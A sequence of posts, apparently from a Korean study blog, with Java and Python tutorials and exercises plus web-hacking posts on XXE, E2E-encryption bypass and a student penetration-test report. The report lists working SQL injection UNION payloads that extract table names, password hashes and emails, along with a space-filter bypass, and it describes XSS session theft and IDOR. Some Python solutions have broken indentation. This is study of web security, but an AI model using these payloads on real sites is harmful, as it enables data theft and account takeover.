1. 상속

  • 객체지향 프로그래밍에서 '상속' 관계란 부모 클래스와 자식 클래스가 주체가 되어 자식클래스가 부모의 변수 및 메서드를 상속받아 활용할 수 있는 것을 말합니다.
  • 즉, 부모가 자녀에게 변수/메서드 상속해주게 되면 자식은 부모가 가지고 있는 상태/동작을 모두 활용할 수 있습니다. 
  • 자바에서 extends 를 활용해 상속받는데, 자녀 클래스는 extends 키워드를 통해 부모 클래스를 상속받습니다. 
  • 부모 클래스는 상위 클래스(슈퍼 클래스, super class) 라고 하며, 자식 클래스는 하위 클래스(서브 클래스, sub class) 라고 합니다. 

상속의 방법은 다음과 같다.

 

public class 자식클래스명 extends 부모클래스명

public class Manager extends Employee {

}

 

2. 오버라이딩

오버라이딩(overriding)이란 상속 관계에 있는 부모 클래스에서 이미 정의된 메소드를 자식 클래스에서 같은 시그니쳐를 갖는 메소드로 다시 정의하는 것이라고 할 수 있습니다.

  • 자바에서 자식 클래스는 부모 클래스의 private 멤버를 제외한 모든 메소드를 상속받습니다.
  • 이렇게 상속받은 메소드는 그대로 사용해도 되고, 필요한 동작을 위해 재정의하여 사용할 수도 있습니다.
  • 즉, 메소드 오버라이딩이란 상속받은 부모 클래스의 메소드를 재정의하여 사용하는 것을 의미합니다.

오버라이딩의 방법은 다음과 같습니다.

 

public class 자식클래스명 extends 부모클래스명

public 리턴타입 메소드명(매개변수1, 매개변수2...){}

public class Manager extends Employee {
	public int Id() {
        return super.Id() + 100;
    }

}

 

3. 실습예제

Exercise) 아래 Rectangle.java를 상속받은 Box.java에서 area() 메소드를 오버라이딩하여 재정의 하세요

(단, 연산공식은 자유롭게 하셔도 됩니다.)

 

Rectangle.java

package com.bawp.inheritance;

public class Rectangle {

    private int length;
    private int width;
    
    public Rectangle(int length, int width) {
        this.length = length;
        this.width = width;
        
    }
   
    
    public int getLength() {
      return length;
   }

   public void setLength(int length) {
     this.length = length;
   }

   public int getWidth() {
       return width;
   }

    public void setWidth(int width) {
      this.width = width;
   }
   
   public int area() {
   
       return this.getLength() * this.getWidth();
   }


}

 

Box.java

package com.bawp.inheritance;

public class Box extends Rectangle {
    private int height; 
    
    public Box(int length, int width, int height) {
         super(length, width);
         this.height = height;
    }
    
    //getters and setters
    public void setHeight(int height) {
         this.height = height;
    }
    
    public int getHeight() {
        return this.height;
    }
    
    
    
    
   
}

 

Solution)

 

Box.java

package com.bawp.inheritance;

public class Box extends Rectangle {
    private int height;
    
    
    //MUST have this constructor ( with the super() constructor call )
    
    
    public Box(int length, int width, int height) {
         super(length, width);
         this.height = height;
    }
    
    //getters and setters
    public void setHeight(int height) {
         this.height = height;
    }
    
    public int getHeight() {
        return this.height;
    }
    
    
    //TODO: override area method
    
    
    public int area() {
        return 2 * (getLength() * getWidth() + getLength() * height + getWidth() * height);
    }
}

'Java Study' 카테고리의 다른 글

Java Study(캡슐화)  (0) 2023.04.19
Java Study(배열/키 값)  (0) 2023.04.04
Java Study(생성자/접근제한자)  (0) 2023.03.30
Java(class/object)  (0) 2023.03.29
Java (method/메소드)  (0) 2023.03.28

1. 생성자

 생성자는 new 연산자를 통해서 인스턴스를 생성할 때 반드시 호출이 되고 제일 먼저 실행되는 일종의 메소드(하지만 메소드와는 다르다.)이다. 생성자는 인스턴스 변수(필드 값 등)를 초기화 시키는 역할을 한다. 

  • 생성자는 반드시 클래스명과 동일하게 정의하여야 한다.
  • 생성자 앞에는 접근 제어자(public 등)만 올수 있다.(메소드는 static과 같은 수식어를 작성할 수 있다.) 
  • 반환값이 없으므로 void나 자료형을 작성할 수 없다.
public class MotorBike {

    private int speed;

    MotorBike() {

    }

    MotorBike(int speed) {
        this.speed = speed;
    }
  • 위와 같은 방식으로 생성자를 정의합니다.
  • 메소드와 다르게 반환 타입을 적지 않고 메소드명이 클래스명과 같다.
MotorBike ducati = new MotorBike(100);
MotorBike honda = new MotorBike(200);
MotorBike kia = new MotorBike();
  • 생성자를 이용해 객체를 생성할 때에는 위와같이 ()안에 인스턴스 값을 삽입하여 만들거나 빈공간으로 남겨서 만들어도 된다.

2. 접근제한자

접근제어자는 클래스의 멤버인 변수와 메소드들의 접근 권한을 지정합니다.

종류는 4가지로 public, protected, default, private 이며,  접근 허용 가능 범위 순서 또한 아래와 같이 나타낼 수 있습니다.

  • public : 접근 제한이 없습니다.
  • protected  : 동일한 패키지 내에 존재하거나, 파생 클래스에서만 접근이 가능합니다.
  • default  : 아무런 접근 제한자를 명시하지 않으면 default 값이 되며, 동일한 패키지 내에서만 접근이 가능합니다.
  • private  : 자기 자신의 클래스 내에서만 접근이 가능합니다.

ex)

public class Microphone {
  
    private String color;
    private String name;
    private int model;

 

3. getter | setter

1) getter : getter메소드를 이용하면 원하는 멤버변수의 정보를 얻을 수 있습니다.

2) setter : setter메소드를 이용하면 원하는 멤버변수의 값으로 세팅해줄 수 있습니다.

 

1) getter 선언

아래와 같은 방식으로 getter 메소드를 선언할 수 있다.

public String getColor() {
	return color;
}

public 리턴타입 get필드이름() {

         return 필드값;

}

 

2) setter 선언

아래와 같은 방식으로 setter 메소드를 선언할 수 있다.

public void setColor(String color) {
	this.color = color;
}

public void set필드이름() {

         필드값;

}

'Java Study' 카테고리의 다른 글

Java Study(캡슐화)  (0) 2023.04.19
Java Study(배열/키 값)  (0) 2023.04.04
Java Study(상속/오버라이딩)  (0) 2023.03.31
Java(class/object)  (0) 2023.03.29
Java (method/메소드)  (0) 2023.03.28

1. Class?

  • 자바에서 클래스(class)란 객체를 정의하는 틀 또는 설계도와 같은 의미로 사용됩니다.
  • 자바에서는 이러한 설계도인 클래스를 가지고, 여러 객체를 생성하여 사용하게 됩니다.
  • 클래스는 객체의 상태를 나타내는 필드(field)와 객체의 행동을 나타내는 메소드(method)로 구성됩니다.
  • 즉, 필드(field)란 클래스에 포함된 변수(variable)를 의미합니다.

1) 클래스 구현

public class Cat {

    String name;
    String breeds;
    double weight;

}
  • 먼저 Cat 클래스를 만듭니다.
  • Cat  클래스안의 변수를 선언합니다.
public class Cat {

    String name;
    String breeds;
    double weight;
    
    void claw() {
    	System.out.println("할퀴기!!");
   }
   
   void meow() {
   		System.out.println("야옹~"); 
   }

}
  • 각 메소드(claw, meow)를 정의하여 클래스를 구현합니다.

 

2. Object(객체)?

  • 객체란 속성과 기능이 묶인 프로그램 단위를 말한다.
  • 객체는 각각 독립적으로 존재하며 다른 객체와 서로 상호작용을 할 수 있다.
  • 자바에서는 클래스에서 생성된 데이터를 객체로 정의한다. 

1) 객체 생성

Cat c = new Cat();
  • Cat 클래스를 이용해 객체를 생성하는 과정입니다.
  • Cat 이라는 클래스 뒤에 c라는 래퍼런스 변수명을 생성합니다.
  • 그 다음 new Cat()이라는 객체를 생성해 c변수에 대입합니다.

 

 

3. Instance(인스턴스)?

  • 인스턴스는 객체에 포함된 것이다.
  • 객체를 소프트웨어에 실체화 하면 인스턴스라고 부른다.
c.name = "네로";
c.bredds = "페르시안";
c.weight = "4.37";
  • 래퍼런스 변수 c에 연결된 객체로 접근합니다.
  • 해당객체에서 name, breeds, weight을 가져옵니다.
  • 가져온 인스턴스 변수들을 위 값으로 변경해줍니다.

 

4. 실습예제

exercise) 아래 뼈대 코드를 이용해 정사각형 클래스를 구현하여 정사각형의 넓이를 구하는 프로그램을 작성하세요

public class Square {







public static void main(String[] args) {


	
    
    
    }

}

 

Solution)

public class Square {

    int length;

    public int area() {
        int area = length * length;
        return area;
    }

    public static void main(String[] args) {
        Square s = new Square();
        s.length = 4;
        System.out.println("Square area is " + s.area());

    }

}

'Java Study' 카테고리의 다른 글

Java Study(캡슐화)  (0) 2023.04.19
Java Study(배열/키 값)  (0) 2023.04.04
Java Study(상속/오버라이딩)  (0) 2023.03.31
Java Study(생성자/접근제한자)  (0) 2023.03.30
Java (method/메소드)  (0) 2023.03.28

1. method?

어떠한 문제를 처리하기 위한 방법을 소스 코드로 묶어놓고 필요(호출)에 따라 동작하는 기능 정도로 생각할 수 있습니다.(다른 언어에서는 함수(function)으로 불립니다.)

 

1) method 선언

public static 리턴타입(자료형, void) 메서드명() {
	메서드 작성
    return 리턴 데이터;
}
  • main 메소드는 프로그램의 시작점 역할을 하는 JAVA의 약속된 내용이다. 즉, main 메소드가 없는 프로그램은 별도로 동작할 수가 없다. 컴퓨터가 소스 코드를 읽을 때 main 메소드를 실행하고 거기에 정의된 로직에 따라 프로그램이 동작하게 된다.

     

  •  위에서 설명하였듯이 메소드의 리턴 타입은 자료형 또는 void가 올 수 있다. 자료형이 리턴 타입으로 오면 반환(return)해 주는 값(메소드 자료형과 동일한 값)이 반드시 있어야 하고 void는 반환 값이 없다. 다르게 말하면 반환하고자 하는 데이터가 있다면 그 데이터의 자료형을 메소드의 자료형으로 적어줘야 한다.

     

  • 메소드 내에서 동작하고 얻은 결과(필요한 데이터)를 반환해주는 역할을 한다. return문 뒤에는 어떠한 구문도 올 수 없다.(컴파일 에러 발생) 다르게 말하면 return문을 사용하면 값을 반환해 주고 해당 메소드는 실행이 종료된다.

     

2) method 호출

public static void 메서드명();
  • 기본적으로 메서드를 호출하는 방식은 위와같이 매우 간단합니다.
  • 메인 메소드 안에서 필요한 메소드를 호출하면 됩니다.

 

3) method 호출 매개변수

public static 리턴타입(자료형 또는 void) 메소드명(자료형 변수명) {

}

public static void main (String[] args) {
	메소드명(값);
}
  •  메소드의 매개변수(parameter)란 외부로부터 입력 값을 받기 위해 메소드의 괄호 안에 선언하는 변수라고 생각하면 된다.
  • main메소드에서 다른 메소드를 호출할 때 값을 전달하여 전달된 값에 따라 처리될 수 있도록 하는 기능이다.

 

3-1 실습예제

Exercise) 두 수를 나눈 몫을 출력하는 메소드와 두 수를 곱한 값을 출력하는 메소드를 각각 작성하세요

 

Solution)

package com.example.atmexercise;

public class AtmExercise {
    public static void main(String[] args) {
        System.out.println(divideNumbers(6, 3));
        System.out.println(multiplyNumbers(6, 3));


    }

    public static int divideNumbers(int firstNumber, int secondNumber) {
        return (firstNumber/secondNumber);


    }

    public static int multiplyNumbers(int firstNumber, int secondNumber) {
        return (firstNumber * secondNumber);

    }
}

 

 

'Java Study' 카테고리의 다른 글

Java Study(캡슐화)  (0) 2023.04.19
Java Study(배열/키 값)  (0) 2023.04.04
Java Study(상속/오버라이딩)  (0) 2023.03.31
Java Study(생성자/접근제한자)  (0) 2023.03.30
Java(class/object)  (0) 2023.03.29

- 프로젝트 설명

  • 지난 한달간 진행했던 웹 모의해킹 프로젝트는 같이 공부한 학생들이 만든 웹 사이트를 공유해서 서로 모의해킹을 하고 결과보고서를 작성하는 프로젝트입니다.
  • 많은 취약점들이 있지만 취약점 항목별로 1개씩만 기재하겠습니다

 

1. SQL Injection

1) 비회원 게시판

  • search_result.php페이지에서 catgo파라미터에 해당 취약점이 발견되었습니다.
  • 해당 취약점이 발견된 페이지에서 URL 주소창에 다음과 같은 파라미터를 순서대로 전송해 필요한 정보를 획득한 뒤 데이터를 추출 및 변조합니다.
char(114,101,100) union select 1,2,3,4,5,6,7,8,9%23

char(114,101,100) union select 1,database(),3,4,5,6,7,8,9%23

char(114,101,100) union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=char(98,97,115,105,99,95,100,98)%23

char(114,101,100) union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(81,78,65,98,111,97,114,100)%23

char(114,101,100) union select 1,pwd,3,4,5,6,7,8,9 from QNAboard%23

 

해시화된 비밀번호가 화면에 출력

 

2) 주소 검색창

  • address_server.php 페이지에서 해당 취약점이 발견되었습니다.
  • 해당 취약점이 발견된 페이지에서 주소 검색창에 다음과 같은 파라미터를 순서대로 전송해 필요한 정보를 획득한 뒤 데이터를 추출 및 변조합니다.
  • 해당 페이지에선 공백이 필터링 되어있기 때문에 /**/로 공백을 우회할 수 있습니다.
1%'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26#

1%'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26#

1%'/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/information_schema.tables/**/where/**/table_schema='basic_db'#

1%'/**/union/**/select/**/1,column_name,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/information_schema.columns/**/where/**/table_name='basic_table'#

1%'/**/union/**/select/**/1,db_email,3,4,5,6,7,8,9,10,11,12,13,141,51,6,17,18,19,20,21,22,23,24,25,26/**/from/**/basic_table#

 

데이터 추출은 개인정보가 담겨있어 컬럼이름을 출력하는 화면으로 대체했습니다.

 

2. XSS

  • read.php에서 해당 취약점이 발견되었습니다.
  • 해당 취약점이 발견된 페이지에서 악성 스크립트를 삽입하여 피해자의 세션을 탈취합니다.

글을 작성한 뒤 수정하는 페이지를 프록시 도구를 이용해 접속하여 악성 스크립트를 작성합니다.

피해자가 해당 게시글을 클릭할 시 피해자의 세션값이 노출됩니다.

 

3. 파일 다운로드

  • download.php에서 해당 취약점이 발견되었습니다.
  • 게시글에 파일을 다운받을 때 download.php?file= 이부분에 웹서버의 소스코드를 다운받을 수 있습니다.

 

4. 불충분한 인증

  • q_board_write.php에서 해당 취약점이 발견되었습니다.
  • 관리자와 본인만 열람 있는 글을 파라미터 조작으로 불충분한 인증 취약점을 통해 다른 사람이 열람 있습니다.
  • No 파라미터에 글번호를 조작하여 원하는 게시글로 이동하여 내용을 볼 수 있습니다.

 

1. return

  • return은 함수의 결괏값을 돌려주는 명령어입니다.
  • 함수는 입력값을 받아 어떤 처리를 한 후에 결과값을 돌려주는 형태입니다.
  • 함수에서는 결괏값을 오직 return 명령어로만 돌려받을 수 있습니다.
  • 만약 결과값이 없는 경우라면 반환값으로 None을 출력할 것입니다.

ex)

def format_name(f_name, l_name):
  formated_f_name = f_name.title()
  formated_l_name = l_name.title()
  return f"{formated_f_name} {formated_l_name}"

print(format_name("red", "blue"))

 

1) 실습예제

exercise) 

def is_leap(year):
  if year % 4 == 0:
    if year % 100 == 0:
      if year % 400 == 0:
        return True
      else:
        return False
    else:
      return True
  else:
    return False

def days_in_month(year, month):
  month_days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]  
  
 
 
 
 
 
  year = int(input("Enter a year: "))
month = int(input("Enter a month: "))
days = days_in_month(year, month)
print(days)

위 코드는 수정하지 않고 중간에 days_in_month(year, month)함수를 수정하여 입력한 달은 몇일까지 있는지 또 윤년인 2월은 29를 출력하는 코드를 작성하세요

 

Solution)

def is_leap(year):
  if year % 4 == 0:
    if year % 100 == 0:
      if year % 400 == 0:
        return True
      else:
        return False
    else:
      return True
  else:
    return False
    
    def days_in_month(year, month):
  month_days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]  
  if is_leap(year) and month == 2:
    return 29
  return month_days[month - 1]
    
    
    year = int(input("Enter a year: "))
month = int(input("Enter a month: "))
days = days_in_month(year, month)
print(days)

 

2. 계산기

Exercise) 두 수를 입력받아 사칙연산을 수행하는 프로그램을 작성하세요(단, 함수정의 및 호출을 이용해야 합니다.)

 

Solution)

def add(n1 ,n2):
  return n1 + n2

def subtract(n1, n2):
  return n1 - n2

def multiply(n1, n2):
  return n1 * n2

def divide(n1, n2):
  return n1 / n2

n1 = float(input("First number?\n"))
n2 = float(input("Second number?\n"))

operator = input("which operator do you want? +,-,*,/\n")

if operator == "+":
  print(add(n1 ,n2))
elif operator == "-":
  print(subtract(n1 ,n2))
elif operator == "*":
  print(multiply(n1 ,n2))
elif operator == "/":
  print(divide(n1 ,n2))

 

1. Dictionary

  • 딕셔너리는 키(key)와 값(value)이 한 쌍이 하나의 대응 관계를 가지고 있는 자료형 입니다.
  • 예를 들면 "김씨" : "여자", "박씨" : "남자" 이런식으로 "김씨"라는 Key가 열쇠고 그 "김씨"의 값으로 "여자"라는 것이 쌍을 이루는 자료형 입니다.

딕셔너리 = { 키: 값 }

딕셔너리 = { Key1: Value1, Key2: Value2, Key3: Value3, Key4: Value4}

 

ex) 

programming_dictionary = {
  "Bug": "An error in a program that prevents the program from running as expected.", // key1: value1
  "Function": "A piece of code that you can easily call over and over again.",// key2 : value2
}

 

2. 리스트와 딕셔너리 중첩

  • 딕셔너리의 기본 형태는 {key: value}이지만 value의 값에 단순한 값을 넣는 것이 아니라, 리스트나 딕셔너리를 넣을 수 있다. 
  • 즉, 딕셔너리에서 중첩이란 그 안에 다른 리스트나, 딕셔너리를 넣는 것을 말한다. 

ex) 딕셔너리 안의 리스트

 

travel_log = {
  "France": ["Paris", "Lille", "Dijon"],
  "Germany": ["Berlin", "Hamburg", "Stuttgart"],
}

 

ex) 딕셔너리 안의 딕셔너리

 

travel_log = [
{
  "country": "France", 
  "cities_visited": ["Paris", "Lille", "Dijon"], 
  "total_visits": 12,
}

 

1) 실습예제

Exercise) 해당 코드는 수정하지 않고 중간에 코드를 추가하여 travel_log에 딕셔너리를 추가하는 코드를 작성하세요(단, 함수를 정의하여 그 함수를 사용해 추가해야합니다.)

travel_log = [
{
  "country": "France",
  "visits": 12,
  "cities": ["Paris", "Lille", "Dijon"]
},
{
  "country": "Germany",
  "visits": 5,
  "cities": ["Berlin", "Hamburg", "Stuttgart"]
},
]








add_new_country("Russia", 2, ["Moscow", "Saint Petersburg"])
print(travel_log)

 

Solution)

travel_log = [
{
  "country": "France",
  "visits": 12,
  "cities": ["Paris", "Lille", "Dijon"]
},
{
  "country": "Germany",
  "visits": 5,
  "cities": ["Berlin", "Hamburg", "Stuttgart"]
},
]


def add_new_country(country, visits, cities):
  new_country = {}
  new_country["country"] = country
  new_country["visits"] = visits
  new_country["cities"] = cities
  travel_log.append(new_country)
  
  
  
  add_new_country("Russia", 2, ["Moscow", "Saint Petersburg"])
print(travel_log)

'Python Study' 카테고리의 다른 글

Python Study(return)  (0) 2023.03.08
Python Study(함수 정의 및 호출 응용)  (0) 2023.03.02
Python Study(반복문(While))  (0) 2023.02.18
Python Study(함수 정의 및 호출/들여쓰기)  (0) 2023.02.18
Python Study(반복문(for))  (0) 2023.02.05

1. XXE Injection?

  • XXE(XML eXternal Entity) Injection 취약점은 XML 데이터를 제대로 검증하지 않거나 안전하게 파싱하지 않고 사용자가 제어하는 입력에서 XML 데이터를 가져올 때 발생하며 이를 통해 악의적인 작업을 수행할 수 있다.
  • 민감한 파일 노출부터 백엔드 서버 다운 등을 통해서 웹 어플리케이션이나 백엔드 서버에 상당한 위협이 된다.

 

2. XML DTD

  • XML DTD(Document Type Definition)을 사용하면 미리 정의된 문서 구조에 대해 XML 문서의 유효성을 검사할 수 있다.
  • 미리 정의된 구조는 문서 자체로 정의될 수 있거나 외부파일형태도 가능하다.
  • 내부 XML DTD에선 다음과 같이 선언할 수 있다.

<!ENTITY 엔터티이름 "엔터티값">

  • 외부 XML DTD에선 다음과 같이 선언할 수 있다.

<!ENTITY 엔터티이름 SYSTEM "http://web.com/entity.dtd">

 

3. XXE Injection

1. XXE Injection 취약점이 존재하는 페이지에 들어간다.

 

2. blue라는 데이터에 "Hack!!"이라는 문구를 넣어서 blue를 호출해 Hack!!문구를 출력한다.

 

3. 내부 서버에 중요 파일을 가져올수 있습니다.

'Web Hacking' 카테고리의 다른 글

E2E 암호화  (0) 2023.03.01
SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04

1. 함수정의 및 호출 (매개변수 여러개)

  • 함수를 정의할때 함수의 매개변수를 여러개 정의하여 사용할 수 있습니다.
  • 함수를 호출할 때도 마찬가지로 정의한 매개변수만큼 똑같은 개수로 호출해야 합니다.

ex) def function (name, location)

           print(f"Hello {name}")

           print(f"waht is like in {location}?")

      function("red", "Seoul")

 

2. 함수정의 및 호출 (키워드인자)

  • 함수 호출시 인수의 이름을 지정하여 값을 전달하는 방식이다. 이 방식은 인자의 이름에 전달하고자 하는 값을 직접 지정하여 호출한다.
  • 함수 호출시 인자의 순서는 1순위로 순서에 의한 매칭이 완료되고 나서 키워드 인수 매칭이 되기 때문에 순서 지정에 신경써야 한다

 

1) 실습예제

Exercise)

test_h = int(input("Height of wall: "))
test_w = int(input("Width of wall: "))
coverage = 5
paint_calc(height=test_h, width=test_w, cover=coverage)

위 코드는 수정하지 않고 해당코드 위에 코드를 추가하여 페인트칠에 필요한 페인트통이 몇개 필요한지 알려주는 코드를 작성하세요

** 필요한 페인트통 계산법 = height*width/cover

 

Solution)

import math

def paint_calc(height, width, cover):
    paint = math.ceil(height * width / cover)
    print(f"You'll need a {paint} cans of paint")


test_h = int(input("Height of wall: "))
test_w = int(input("Width of wall: "))
coverage = 5
paint_calc(height=test_h, width=test_w, cover=coverage)

 

2) 실습예제

Exercise)

n = int(input("Check this number: "))
prime_checker(number=n)

위 코드는 수정하지 않고 해당코드 위에 코드를 추가하여 입력받은 수가 소수인지 아닌지 판별해주는 코드를 작성하세요

** 소수 판별법: 예를들어 입력받은 수가 7이면 7은 1과 자기자신으로밖에 나누어지지않기 때문에 소수에 해당합니다.

 

Solution)

def prime_checker(number):
    is_prime = True
    for checker in range(2, number):
        if number % checker == 0:
            is_prime = False
    if is_prime:
        print("It's a prime number")
    else:
        print("It's not a prime number")


n = int(input("Check this number: "))
prime_checker(number=n)

'Python Study' 카테고리의 다른 글

Python Study(return)  (0) 2023.03.08
Python Study(딕셔너리)  (0) 2023.03.06
Python Study(반복문(While))  (0) 2023.02.18
Python Study(함수 정의 및 호출/들여쓰기)  (0) 2023.02.18
Python Study(반복문(for))  (0) 2023.02.05

E2E 암호화란?

  • End to End Encrpytion의 약자로, 연결된 양 종단기기만 서로 평문을 볼 수 있도록 하고 그 사이에는 복호화 할 수 없는 암호문만 전달하는 것이다
  • 권한 있는 사용자만이 읽을 수 있도록 데이터를 조합하는 암호화 키를 사용한다. 엔드투엔드 암호화 역시 이와 같은 프로세스를 사용한다. 그러나, 엔드투엔드 암호화는 엔드포인트 간 통신에 보안을 적용하여 이 프로세스를 더 강화한다.
  • 엔드투엔드 암호화의 경우 암호 해독 키를 가진 사람만이 암호화 데이터를 볼 수 있습니다. 다시 말해, 의도된 열람자만이 액세스 권한과 읽기 및 수정 능력을 가져야 하는 경우 E2E는 제3자를 포함한 의도되지 않은 사용자가 데이터를 읽거나 수정하지 못하도록 차단합니다.

 

E2E 암호화의 중요성

  • 엔드투엔드 암호화는 사이버 공격으로부터 데이터를 보호하는 데 도움을 줄 수 있습니다. 
  • 엔드투엔드 암호화는 암호화된 메시지 전송 이상의 기능을 제공합니다. 엔드투엔드 암호화는 저장된 데이터에 사용자 액세스 권한을 부여하기 위한 통제 장치를 지원할 수 있습니다. 

 

E2E 작동 원리

  • 엔드투엔드 암호화는 정보를 암호문이라는 읽기가 불가능한 형식으로 변환하여 보호하는 방법인 암호작성술에서 시작됩니다. 비밀 키를 가진 사용자만이 이러한 메시지를 평문으로 해독할 수 있습니다.
  • E2EE를 사용하면 송신자 또는 작성자는 데이터를 암호화하고 의도된 수신자 또는 열람자만이 이를 해독할 수 있습니다.
  • 비대칭 또는 공개 키 암호작성술은 두 개의 별도의 암호 키를 사용하여 데이터를 암호화 및 해독합니다. 공개 키는 메시지를 암호화하여 공개 키 소유자에게 보내는 데 사용됩니다.
  • 그 다음, 이 메시지는 암호 해독 키라고도 부르는 해당 비공개 키를 사용할 경우에만 해독할 수 있습니다. 예를 들면, TLS(Transport Layer Security) 암호화 프로토콜은 제3자가 이동 중 메시지를 가로채지 못하도록 차단합니다.

 

E2E 암호화 우회 방법

1) js 파일 분석

  • E2E 암호화를하여 파라미터를 보내는 페이지가 존재할 경우 E2E암호화를 하는 js파일을 먼저 분석합니다.
  • 전달되는 데이터가 암호화 되는 곳을 찾아 암호화되기전에 prompt를 이용해 파라미터를 확인할 수 있습니다.

ex) id.value = prompt('ID value', id.value);

 

2) 편법

  • E2E 암호화가 엄청 오래된 암호화 기법은 아니기때문에 웹사이트마다 적용할 때 호환성 문제가 발생할 수 있습니다. 이를 이용한 우회 기법입니다.
  • 각 페이지마다 E2E암호화를 사용하는 페이지가 존재하고 그렇지 않은 페이지가 존재하는데 js파일을 먼저 분석해보면 if문 같은 방식으로 E2E암호화를 적용하거나 적용하지 않는 구문이 있습니다.

ex) if(enctp==1){

      복호화

} else{

      그냥처리

}

 

  • E2E암호화하는 페이지에 enctp=0으로 수정하여 요청을 보내면 E2E 암호화를 사용하지 않고 파라미터를 전송하여 확인할 수 있습니다.

'Web Hacking' 카테고리의 다른 글

XXE Injection  (0) 2023.03.03
SSRF  (0) 2023.02.24
웹 모의 해킹 취약점 항목 분석(#1)  (0) 2023.02.11
불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04

+ Recent posts